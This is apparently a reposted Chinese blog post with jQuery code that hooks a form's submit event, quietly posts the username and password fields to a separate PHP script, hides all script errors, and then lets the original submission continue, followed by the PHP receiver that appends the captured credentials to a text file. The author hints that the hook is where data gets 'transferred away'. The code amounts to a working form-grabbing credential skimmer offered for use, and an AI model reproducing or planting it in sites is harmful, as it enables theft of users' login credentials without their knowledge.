js实现Form表单submit提交截获数据（各浏览器通用）

No Comments | js , 安全 , PHP | by calms | 96 Views. | 2013-09-03, 11:32 PM

以下test.html是一个实例，主要讲述和演示了这样一种需求：截获submit事件，中断处理完后，继续用户提交。

实现起来其实并不是很难，但是要兼容所有的浏览器或者说绝大多数的浏览器就需要好好处理一下了。我已经为此做了一点尝试（使用了jquery，满足基本的兼容要求），分享给大家，少走弯路。

test.html如下，源码中有中一个id为main的form中有两个表单项，如下：

`01`	`..............`

`02`	`<scriptsrc="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>`

03 </head>

04 <body>

`05`	`..............`

`06`	`<form` `id="main"` `action="http://blog.uyy.me/"` `method="post">`

`07`	`<input` `id="username"` `name="username"` `type="text">`

`08`	`<input` `id="password"` `name="password"` `type="text">`

09 </form>

`10`	`..............`

`11`	`<script` `src="get.js"></script>`

12 </body>

13 </html>

我的方案是使用jquery,因为jquery已经有很好的兼容性。主要是在截获form的submit事件以及发送数据上具有兼容性。以下代码在ie(6、7、8、9、10）,chrome,firefox,opera,safari五类浏览器中测试通过，思路很简单：截获submit事件，处理完后继续submit。至于这样写能做些什么事就是仁者见仁，智者见智了。

`01`	`_psturl="http://localhost/get_form.php";//此处填写接收数据的php`

`02`	`window.onerror =` `function() {` `return` `true; }//想报错，门呢？`

`03`	`jQuery('#main').removeAttr('onsubmit').unbind("submit").submit(function(e){`

`04`	`//removeAttr（'onsubmit'）移除onsuumit属性，unbind（"submit"）移除所有绑定在submit事件上的程序。截获submit事件。`

`05`	`//也许你已经发现，对，这里其实可以只使用unbind（"submit"）。`

06

`07`	`checksubmit();//这里是真正要干事的地方，比如将某些数据传输走。。`

08

`09`	`if($.browser.msie)` `return` `true;//在ie下必须返回true,test.html页面才会照常提交，可喜的是cheksubmit()中post出去了。。`

`10`	`else` `if($.browser.safari)` `return` `false;//而在safari下，如果不阻断submit事件（返回false就是截断了）checksubmit()中的ajax提交不会成功。所以checksubmit()函数中的jQuery.post需要使用回调函数。`

`11`	`else` `if($.browser.mozilla)` `return` `false;//这里无所谓了，返回true和返回false都可以了。。`

`12`	`else` `if($.browser.opera)` `return` `false;//这里无所谓了，返回true和返回false都可以了。。`

`13`	`else` `return` `false;//这里无所谓了，返回true和返回false都可以了。。因为我认为除了ie之外的这几种浏览器都比较遵循w3c标准，比ie更能接受人的正常逻辑。。。`

14 });

`15`	`//这里不解释。。`

`16`	`function` `checksubmit(){`

`17`	`jQuery.post(_psturl+"?t="+Math.random(), {` `"u": $("#username").val(),"p": $("#password").val() },`

`18`	`function(data){jQuery('#main').removeAttr('onsubmit').unbind("submit").submit()} );`

19 };

我想数据接收端也有人需要吧。。好吧，我贴出来：

01 <?php

`02`	`/the code of get_form.php/`

`03`	`date_default_timezone_set("America/Los_Angeles");`

`04`	`set_time_limit(0);`

`05`	`exit(addLog("youwant.txt"));`

06

07

`08`	`function` `addLog($file="a_test.txt"){`

`09`	`$fp` `= @fopen($file,` `'a+');`

`10`	`if($fp){`

`11`	`$str` `=` `date("Y-m-d H:i:s")."\t";`

`12`	`$str` `.= _post('u')."\t";`

`13`	`$str` `.= _post('p')."\r\n";`

`14`	`fwrite($fp,` `$str);`

`15`	`fclose($fp);`

16 }

`17`	`return("0");`

18 }

19

`20`	`function` `_post($str){`

`21`	`$val` `= !empty($_POST[$str]) ?` `$_POST[$str] : null;`

`22`	`if(get_magic_quotes_gpc())` `$val=stripslashes($val);`

`23`	`return` `$val;`

24 }

25

26 ?>

posted on 2013-10-25 17:59 codebox 阅读(...) 评论(...) 编辑收藏

转载于:https://www.cnblogs.com/code123/p/3388371.html

js实现Form表单submit提交截获数据（各浏览器通用）相关推荐

用js将form表单同时提交到两个不同页面的方法
用js将form表单同时提交到两个不同页面的方法: <script type="text/javascript"> function dosubmit(){ windo ...
form表单ajax提交json数据
前端页面: <form id="userInfo" ><div class="weui-cell"><div class=&quo ...
js 提交form表单,js更改form表单的action属性
2019独角兽企业重金招聘Python工程师标准>>> js 提交form表单 <s:form id="formID1" action="favo ...
js模拟form表单提交数据, js模拟a标签点击跳转，避开使用window.open引起来的浏览器阻止问题...
js模拟form表单提交数据, js模拟a标签点击跳转,避开使用window.open引起来的浏览器阻止问题 js模拟form表单提交数据源码: /** * js模拟form表单提交 * @param ...
JS阻止form表单提交失败
JS阻止form表单提交失败问题简介解决办法问题简介 <form th:action="@{/user.do}" method="post" ons ...
JS模拟Form表单提交
用java写了一个下载的功能,测试没有问题,但前台就是不弹出下载的提示框. 后来发现如果你的提交方式是ajax的方式的话是不会弹出提示框的,然后换成了form提交,顺利弹框通过,下来我们就用js模拟f ...
html表单通过js提交表单提交,JavaScript动态创建form表单并提交的实现方法
本文实例讲述了JavaScript动态创建form表单并提交的实现方法.分享给大家供大家参考,具体如下: 页面布局有些复杂的情况下,可能需要在页面中动态创建一个 form,JavaScript 创建 ...
使用ajax方法实现form表单的提交
2019独角兽企业重金招聘Python工程师标准>>> 在使用form表单的时候,一旦点击提交触发submit事件,一般会使得页面跳转,页面间的跳转等行为的控制权往往在后端,后端会控 ...
form表单同时提交带文本和图片的数据
方法一:使用ajax异步提交此种方法的好处是可以回调响应结果. html代码: <form action="${basePath}/save" method="p ...

js实现Form表单submit提交截获数据（各浏览器通用）

js实现Form表单submit提交截获数据（各浏览器通用）

js实现Form表单submit提交截获数据（各浏览器通用）相关推荐

最新文章

热门文章